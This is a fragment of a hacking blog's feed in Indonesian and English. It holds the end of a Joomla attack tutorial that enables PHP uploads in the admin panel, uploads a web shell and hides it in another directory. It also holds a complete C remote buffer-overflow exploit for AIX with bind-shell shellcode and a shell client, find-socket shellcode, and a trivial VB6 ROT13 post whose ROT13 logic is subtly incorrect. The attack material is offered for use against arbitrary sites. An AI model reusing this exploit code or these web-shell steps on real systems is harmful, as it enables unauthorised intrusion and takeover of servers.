&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
copas aja ke yang tadi.. enter.. :)&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TVKU2vw6dhI/AAAAAAAAAKY/RS6EUSBhvTU/5.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 6&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Hehehehe&lt;br /&gt;
Dia minta pasword baru tu.. kasih aja..&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TVKVApk4MzI/AAAAAAAAAKc/DGhb0kV8MWU/6.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 7&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
OK langsung aja masuk ke admin nya..&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://[site]/[pacth]/administrator&lt;/pre&gt;&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TVKVAqfVI8I/AAAAAAAAAKg/JcVq8awh2bE/7.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 8&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
masuk ternyata.. heheh&lt;br /&gt;
sabar²..&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TVKVA5iTdpI/AAAAAAAAAKk/Kd_kHUNS9xU/8.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
nah.. di sini ente harus ubah dulu "Global configuration" nya&lt;br /&gt;
lalu setelah itu masuk ke "media manager"&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 9&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Nah.. kita ke global configuration terlebih dahulu...&lt;br /&gt;
&lt;br /&gt;
Ubah media settingnya, tambahin aja extension PHP&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TVKVAz078GI/AAAAAAAAAKo/W8mmpvPuGbE/9.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
jangan lupa di save..&lt;br /&gt;
:D&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;[+] step 10&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;==========&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
OK &lt;br /&gt;
lanjut..&lt;br /&gt;
Buka media manager..&lt;br /&gt;
&lt;br /&gt;
nah, ini tahap terakhir..&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TVKVA8HFwGI/AAAAAAAAAKs/cgd80b7Pmzw/10.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
Silahkan Upload Shell php mu..&lt;br /&gt;
seep selesai..&lt;br /&gt;
&lt;br /&gt;
Bila tidak ada tulisan berwarna merah berarti berhasil..&lt;br /&gt;
&lt;br /&gt;
Maka Shell kita akan berada di sini :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;http://[site]/[pacth]/images/namashell.php&lt;/pre&gt;&lt;br /&gt;
OK sekarang terserah kalian.. mau diapain tu site..&lt;br /&gt;
&lt;br /&gt;
saran saya.. kalo bisa..&lt;br /&gt;
upload aja lagi shell di directory yang lain..&lt;br /&gt;
lalu hapus shell yang di directory images tadi..&lt;br /&gt;
&lt;br /&gt;
sekian aja dulu&lt;br /&gt;
Selamat mencoba.. :D</description><link>http://black-mygo.blogspot.com/2011/02/tutorial-hacking-with-sql-injection.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh5.googleusercontent.com/_29ZRNl4CE-E/TVKWNA3Oz7I/AAAAAAAAAKw/9ErF5sV8gAQ/s72-c/imagesJOOMLA.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-2663558161814818253</guid><pubDate>Wed, 09 Feb 2011 06:55:00 +0000</pubDate><atom:updated>2011-02-08T22:55:38.527-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Cracking Password</category><category domain="http://www.blogger.com/atom/ns#">Internet Security</category><category domain="http://www.blogger.com/atom/ns#">Website Security</category><title>Tips and Trick Membuat Program Enkripsi Sederhana With VB 6</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t0.gstatic.com/images?q=tbn:ANd9GcRsFKpbe8yj5DEvh3krNgnJ_KUbZNY5E6myFgLCvKYZ1Z87HwFBZQ" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="152" src="http://t0.gstatic.com/images?q=tbn:ANd9GcRsFKpbe8yj5DEvh3krNgnJ_KUbZNY5E6myFgLCvKYZ1Z87HwFBZQ" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Ok Kembali Lagi Bersama saya, sekarang saya akan membagi sedikit ilmu mengenai VB [ Visual Basic ]&lt;br /&gt;
kali ini kita akan membahas mengenai pembuatan Eknripsi sederhana menggunakan Visual Basic 6.&lt;br /&gt;
Langsung saja pertama-tama Yang harus kita Siapkan adalah :&lt;br /&gt;
&lt;br /&gt;
1. Buat form seperti dibawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TVI3tvrd5lI/AAAAAAAAAJc/GFQceTZnoHU/FORMAWAL.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
2. isi propertiesnya Seperti dibawah ini :&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TVI3t-OR4cI/AAAAAAAAAJk/BKxyLQG2Ous/properies.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
3. isi scpript dibawah nie :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Sub Rot13()
For I = 1 To Len(txtTeks)
Baca = Asc(Mid(txtTeks, I, 1))
'Secara matematis C = ROT13(M)
Tukar = Chr(Baca + 13)
txtHasil = txtHasil &amp;amp; Tukar
Next
End Sub
Sub DeRot13()
For I = 1 To Len(txtTeks)
Baca = Asc(Mid(txtTeks, I, 1))
'Ekuivalen dengan M = ROT13(ROT13(M))
Tukar = Chr(Baca - 13)
txtHasil = txtHasil &amp;amp; Tukar
Next
End Sub
Private Sub cmdDekrip_Click()
txtHasil = ""
DeRot13
End Sub
Private Sub cmdEnkrip_Click()
txtHasil = ""
Rot13
End Sub&lt;/pre&gt;&lt;br /&gt;
4. Coba jalankan programnya :&lt;br /&gt;
&lt;br /&gt;
&lt;img class="alignleft" src="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TVI3t41IzJI/AAAAAAAAAJg/cixHzkCr_jQ/FORMHASIL.jpg" title="Blackmygo" /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Untuk Penjelasannya dibawah ini :&lt;br /&gt;
&lt;br /&gt;
Penjelasan Script :&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Sub Rot13()&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;For I = 1 To Len(txtTeks)&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Baca = Asc(Mid(txtTeks, I, 1))&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;'Secara matematis C = ROT13(M)&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Tukar = Chr(Baca + 13)&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;txtHasil = txtHasil &amp;amp; Tukar&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Next&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Baris enkripsi dari ROT13.&lt;br /&gt;
Ubah setiap karakter menjadi karakter + 13,&lt;br /&gt;
huruf “a” digantikan dengan huruf “n”, huruf “b” digantikan dengan huruf “o”, dst.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Sub DeRot13()&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;For I = 1 To Len(txtTeks)&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Baca = Asc(Mid(txtTeks, I, 1))&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;'Ekuivalen dengan M = ROT13(ROT13(M))&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Tukar = Chr(Baca - 13)&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;txtHasil = txtHasil &amp;amp; Tukar&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Next&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Merupakan baris kode dekripsi yang merupakan kebalikan dari enkripsi.&lt;br /&gt;
Dalam rumus kita dapatkan M = ROT13(ROT13(M)).&lt;br /&gt;
Saya bingung bagaimana menerjemahkannya ke source visual basic.&lt;br /&gt;
Daripada susah-susah balik saja operatornya yang tadinya.&lt;br /&gt;
Tukar = Chr(Baca + 13) menjadi Tukar = Chr(Baca - 13)&lt;br /&gt;
Terlihat memang, operator ( + ) diganti menjadi ( - ).&lt;br /&gt;
He... he.. yang pentingkan ekuivalen dengan M = ROT13(ROT13(M)) dan tidak perlu&lt;br /&gt;
ROT13 dua kali segala, untuk dekripsinya. Efisiensi coy! Efisiensi!&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Private Sub cmdDekrip_Click()&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;txtHasil = ""&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;DeRot13&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Kalau button Dekripsi ditekan maka:&lt;br /&gt;
Kosongkan properti text pada textbox txtHasil.&lt;br /&gt;
jalankan sub program DeRot13().&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Private Sub cmdEnkrip_Click()&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;txtHasil = ""&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;Rot13&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;End Sub&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Kalau button Enkripsi ditekan maka:&lt;br /&gt;
Kosongkan properti text pada textbox txtHasil.&lt;br /&gt;
jalankan sub program Rot13().&lt;br /&gt;
&lt;br /&gt;
Sekian Dulu Penjelasan dari saya , Semoga ini bisa Bermanfaat Buat Kalian :D</description><link>http://black-mygo.blogspot.com/2011/02/tips-and-trick-membuat-program-enkripsi.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh6.googleusercontent.com/_29ZRNl4CE-E/TVI3tvrd5lI/AAAAAAAAAJc/GFQceTZnoHU/s72-c/FORMAWAL.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-8539173554585861136</guid><pubDate>Thu, 03 Feb 2011 01:51:00 +0000</pubDate><atom:updated>2011-02-02T17:56:08.972-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Database</category><title>AIX Exploit</title><description>&lt;pre class="Xml" name="code"&gt;/* client.c -  remote overflow demo
*
*  2004.06.16
*  san@nsfocus.com
*/

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;ctype.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;netdb.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;errno.h&gt;

// It needs adjust.
#define RET 0x2ff22d88;

unsigned char sh_Buff[] =
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel    &lt;syscallcode&gt;          */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xc0\x01\xff"     /* lil     r22,0x1ff              */
    "\x3a\xf6\xfe\x2d"     /* cal     r23,-467(r22)          */
    "\x7e\xb5\xba\x14"     /* cax     r21,r21,r23            */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */

    "\x05\x82\x53\xa0"     /* syscall numbers                */
    "\x87\xa0\x01\x42"     /* execve=0x05 close=0xa0         */
    "\x8d\x8c\x8b\x8a"     /* socket=0x8d bind=0x8c          */
                           /* listen=0x8b naccept=0x8a       */
                           /* kfcntl=0x142                   */

    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca    0x0                    */
    "\x3a\xb5\xff\xf8"     /* cal     r21,-8(r21)            */

    "\x2c\x74\x12\x34"     /* cmpi    cr0,r20,0x1234         */
    "\x41\x82\xff\xfd"     /* beql    &lt;bindsckcode&gt;          */
    "\x7f\x08\x02\xa6"     /* mflr    r24                    */
    "\x92\x98\xff\xfc"     /* st      r20,-4(r24)            */
    "\x38\x76\xfe\x03"     /* cal     r3,-509(r22)           */
    "\x38\x96\xfe\x02"     /* cal     r4,-510(r22)           */
    "\x98\x78\xff\xf9"     /* stb     r3,-7(r24)             */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xfc"     /* lbz     r2,-4(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x38\x98\xff\xf8"     /* cal     r4,-8(r24)             */
    "\x38\xb6\xfe\x11"     /* cal     r5,-495(r22)           */
    "\x88\x55\xff\xfd"     /* lbz     r2,-3(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x38\x96\xfe\x06"     /* cal     r4,-506(r22)           */
    "\x88\x55\xff\xfe"     /* lbz     r2,-2(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x88\x55\xff\xff"     /* lbz     r2,-1(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7c\x79\x1b\x78"     /* mr      r25,r3                 */
    "\x3b\x56\xfe\x03"     /* cal     r26,-509(r22)          */
    "\x7f\x43\xd3\x78"     /* mr      r3,r26                 */
    "\x88\x55\xff\xf7"     /* lbz     r2,-9(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x7f\x23\xcb\x78"     /* mr      r3,r25                 */
    "\x7e\x84\xa3\x78"     /* mr      r4,r20                 */
    "\x7f\x45\xd3\x78"     /* mr      r5,r26                 */
    "\xa0\x55\xff\xfa"     /* lhz     r2,-6(r21)             */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x21"     /* bctrl                          */
    "\x37\x5a\xff\xff"     /* ai.     r26,r26,-1             */
    "\x40\x80\xff\xd4"     /* bge     &lt;bindsckcode+120&gt;      */

    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel    &lt;shellcode&gt;            */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x55\xff\xf4"     /* lbz     r2,-12(r21)            */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x7e\xa9\x03\xa6"     /* mtctr   r21                    */
    "\x4e\x80\x04\x20"     /* bctr                           */
    "/bin/sh"
;

// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    int s,i,bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s&lt;0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        close(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctl(s,FIONBIO,&amp;bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&amp;wd);
    FD_SET(s,&amp;wd);
    connect(s,(struct sockaddr *)&amp;target,sizeof(target));
    if((i=select(s+1,0,&amp;wd,0,&amp;tv))==(-1))
    {
        close(s);
        return -3;
    }
    if(i==0)
    {
        close(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&amp;bf,&amp;i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        close(s);
        return -5;
    }
    ioctl(s,FIONBIO,&amp;bf);
    return s;
}

/* ripped from TESO code */
void shell (int sock)
{
    int     l;
    char    buf[512];
    fd_set  rfds;

    while (1) {
        FD_SET (0, &amp;rfds);
        FD_SET (sock, &amp;rfds);

        select (sock + 1, &amp;rfds, NULL, NULL, NULL);

        if (FD_ISSET (0, &amp;rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l &lt;= 0) {
                perror ("read user");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }

        if (FD_ISSET (sock, &amp;rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l &lt;= 0) {
                perror ("read remote");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

void PrintSc(unsigned char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    fprintf(stderr, "/* %d bytes */\n",buffsize);
    for(i=0;i&lt;buffsize;i++)
    {
        if((i%4)==0)
            if(i!=0)
                fprintf(stderr, "\"\n\"");
            else
                fprintf(stderr, "\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&amp;0xff);
        for( p = msg, j=0; j &lt; 4; p++, j++ )
        {
            if(isupper(*p))
                fprintf(stderr, "%c", _tolower(*p));
            else
                fprintf(stderr, "%c", p[0]);
        }
    }
    fprintf(stderr, "\";\n");
}

int main(int argc, char *argv[]) {
    unsigned char Buff[1024];

    unsigned long *ps;
    int s, i, k;

    if (argc &lt; 3) {
        fprintf(stderr, "Usage: %s remote_ip remote_port\n", argv[0]);
        return -1;
    }

    s = Make_Connection(argv[1], atoi(argv[2]), 10);
    if (!s) {
        fprintf(stderr, "[-] Connect failed. \n");
        return -1;
    }

    ps = (unsigned long *)Buff;
    for(i=0; i&lt;sizeof(Buff)/4; i++)
    {
        *(ps++) = 0x60000000;
    }
    
    i = sizeof(sh_Buff) % 4;
    
    memcpy(&amp;Buff[sizeof(Buff) - sizeof(sh_Buff) - i], sh_Buff, sizeof(sh_Buff));

    ps = (unsigned long *)Buff;
    for(i=0; i&lt;92/4; i++)
    {
        *(ps++) = RET;
    }
    Buff[sizeof(Buff) - 1] = 0;
    
    //PrintSc(Buff, sizeof(Buff));

    i = send(s, Buff, sizeof(Buff), 0);
    if (i &lt;= 0) {
        fprintf(stderr, "[-] Send failed. \n");
        return -1;
    }

    sleep (1);
    
    k = Make_Connection(argv[1], 4660, 10);
    if (!k) {
        fprintf(stderr, "[-] Connect failed. \n");
        return -1;
    }

    shell(k);

}

Attack program is easy, but there are different syscall numbers in various AIX editions. In local exploit, you can use oslevel -r to determin AIX version, and then write in the corresponding syscall number. It is invalid in remote exploit. If the remote server provides dtscpd service(6112), we can send the following data to dtscpd service:

char peer0_0[] = {
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32,
0x30, 0x34, 0x30, 0x30, 0x30, 0x64, 0x30, 0x30,
0x30, 0x31, 0x20, 0x20, 0x34, 0x20, 0x00, 0x72,
0x6f, 0x6f, 0x74, 0x00, 0x00, 0x31, 0x30, 0x00,
0x00 };

The dtscpd service will return the following information about system in my box:

aix5:AIX:1:001381144C00

So we can obtain AIX version remotely, and then we write corresponding syscall number in shellcode by remote exploit.

--[ 8 - Find socket shellcode

Binding port shellcode can't be possibly connected and neither can connect back in the secure network environment protected by firewall. However, you can use the socket for attacking connect.

The LSD provides a way that uses getpeername to find socket, but there exists a problem that the port sent by attacker in the NAT network environment won't matches with the one searched by server. In addition, bkbll ever refered to another easy way that is OOB. Out of band data won't be blocked in Berkeley socket implement.

The following codes show how this shellcode to implement on AIX5.1:


void ShellCode()
{
    asm                              \
    ("                               \
Start:                              ;\
        xor.    %r20, %r20, %r20    ;\
        bnel    Start               ;\
        mflr    %r21                ;\
        addi    %r21, %r21, 12      ;\
        b       Loop                ;\
        crorc   %cr6, %cr6, %cr6    ;\
        svca    0                   ;\
                                     \
Loop:                               ;\
        li      %r2, 0x81           ;\
        mr      %r3, %r20           ;\
        addi    %r4, %r21, -40      ;\
        li      %r5, 1              ;\
        li      %r6, 1              ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        lbz     %r4, -40(%r21)      ;\
        cmpi    %cr0, %r4, 0x49     ;\
        beq     Found               ;\
        addi    %r20, %r20, 1       ;\
        b       Loop                ;\
                                     \
Found:                              ;\
        li      %r22, 2             ;\
                                     \
DupHandle:                          ;\
        li      %r2, 0xa0           ;\
        mr      %r3, %r22           ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        li      %r2, 0x142          ;\
        mr      %r3, %r20           ;\
        li      %r4, 0              ;\
        mr      %r5, %r22           ;\
        mtctr   %r21                ;\
        bctrl                       ;\
                                     \
        addic.  %r22, %r22, -1      ;\
        bge     DupHandle           ;\
                                     \
        addi    %r3, %r21, 140      ;\
        stw     %r3, -8(%r1)        ;\
        li      %r5, 0              ;\
        stw     %r5, -4(%r1)        ;\
        subi    %r4, %r1, 8         ;\
        li      %r2, 5              ;\
        crorc   %cr6, %cr6, %cr6    ;\
        svca    0                   ;\
        .byte   '/', 'b', 'i', 'n',  \
                '/', 's', 'h', 0x0  ;\
    ");
}

The AIXes of other editions need changed the corresponding syscall number.

I have a presentation about find socket shellcode in Xcon 2004, and it is in various ways on various OS.

--[ 9 - Reference

[1]  UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes
     http://lsd-pl.net/unix_assembly.html
[2]  PowerPC / OS X (Darwin) Shellcode Assembly - B-r00t
[3]  Assembler Language Reference
     http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/alangreftfrm.htm
[4]  PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors
     http://www-3.ibm.com/chips/techlib/techlib.nsf/techdocs/852569B20050FF778525699600719DF2/$file/6xx_pem.pdf
[5]  OPTIMIZING PowerPC CODE - Gary Kacmarcik
[6]  PowerPC assembly
     http://www-900.ibm.com/developerWorks/cn/linux/hardware/ppc/assembly/index_eng.shtml
[7]  A developer's guide to the PowerPC architecture
     http://www-900.ibm.com/developerWorks/cn/linux/l-powarch/index_eng.shtml
[8]  [Tips]AIX (PPC)??exploite 1?
     https://www.xfocus.net/bbs/index.php?act=ST&amp;f=19&amp;t=28177
[9]  http://aixpdslib.seas.ucla.edu/
[10] 64-bit PowerPC ELF Application Binary Interface Supplement 1.7
     http://www.linuxbase.org/spec/ELF/ppc64/spec/book1.html
[11] Mach-O Runtime Conventions for PowerPC
     http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/2rt_powerpc_abi/chapter_9_section_1.html
[12] Programmer's Introduction to PowerPC
     http://physinfo-mac0.ulb.ac.be/divers_html/PowerPC_Programming_Info/intro_to_ppc/ppc0_index.html
[13] http://www.honeynet.org/scans/scan28/&lt;/pre&gt;</description><link>http://black-mygo.blogspot.com/2011/02/aix-exploit_02.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-6656268654592402517</guid><pubDate>Thu, 03 Feb 2011 01:43:00 +0000</pubDate><atom:updated>2011-02-02T18:00:47.215-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Database</category><category domain="http://www.blogger.com/atom/ns#">Internet Security</category><category domain="http://www.blogger.com/atom/ns#">LINUX</category><category domain="http://www.blogger.com/atom/ns#">Website Security</category><title>Tutorial Exploiting AIX (Buffer Overflows)</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcTQFCT10ME0y_n73dvsmUkex6XDgLdzGahh_V2SpJLMbp68g1T0" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://t1.gstatic.com/images?q=tbn:ANd9GcTQFCT10ME0y_n73dvsmUkex6XDgLdzGahh_V2SpJLMbp68g1T0" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Author: san (san_at_xfocus.org)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;--[ 1 - Familiar with PowerPC architecture(32 bit)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The PowerPC architecture is a Reduced Instruction Set Computer (RISC) architecture, with over two hundred defined instructions. PowerPC is RISC in that most instructions execute in a single cycle and typically perform a single operation (such as loading storage to a register, or storing a register to memory). PowerPC instructions are of uniform length of 32 bits and there are almost 12 instruction formats, which reflect 5 primary classes of instructions:&lt;br /&gt;
&lt;br /&gt;
- branch instructions,&lt;br /&gt;
- fixed-point instructions,&lt;br /&gt;
- floating-point instructions,&lt;br /&gt;
- load and store instructions,&lt;br /&gt;
- processor control instructions.&lt;br /&gt;
&lt;br /&gt;
PowerPC's application-level registers are broken into three classes: general-purpose registers (GPRs), floating-point registers (FPRs and Floating-Point Status and Control Register [FPSCR]), and special-purpose registers (SPRs). We can see 38 registers in gdb with "info registers" command. Following, Let's look at each class.&lt;br /&gt;
&lt;br /&gt;
r0 Volatile register used in function prologs&lt;br /&gt;
r1 Stack frame pointer&lt;br /&gt;
r2 TOC pointer&lt;br /&gt;
r3 Volatile parameter and return value register&lt;br /&gt;
r4-r10 Volatile registers used for function parameters&lt;br /&gt;
r11 Volatile register used in calls by pointer and as an&lt;br /&gt;
environment pointer for languages which require one&lt;br /&gt;
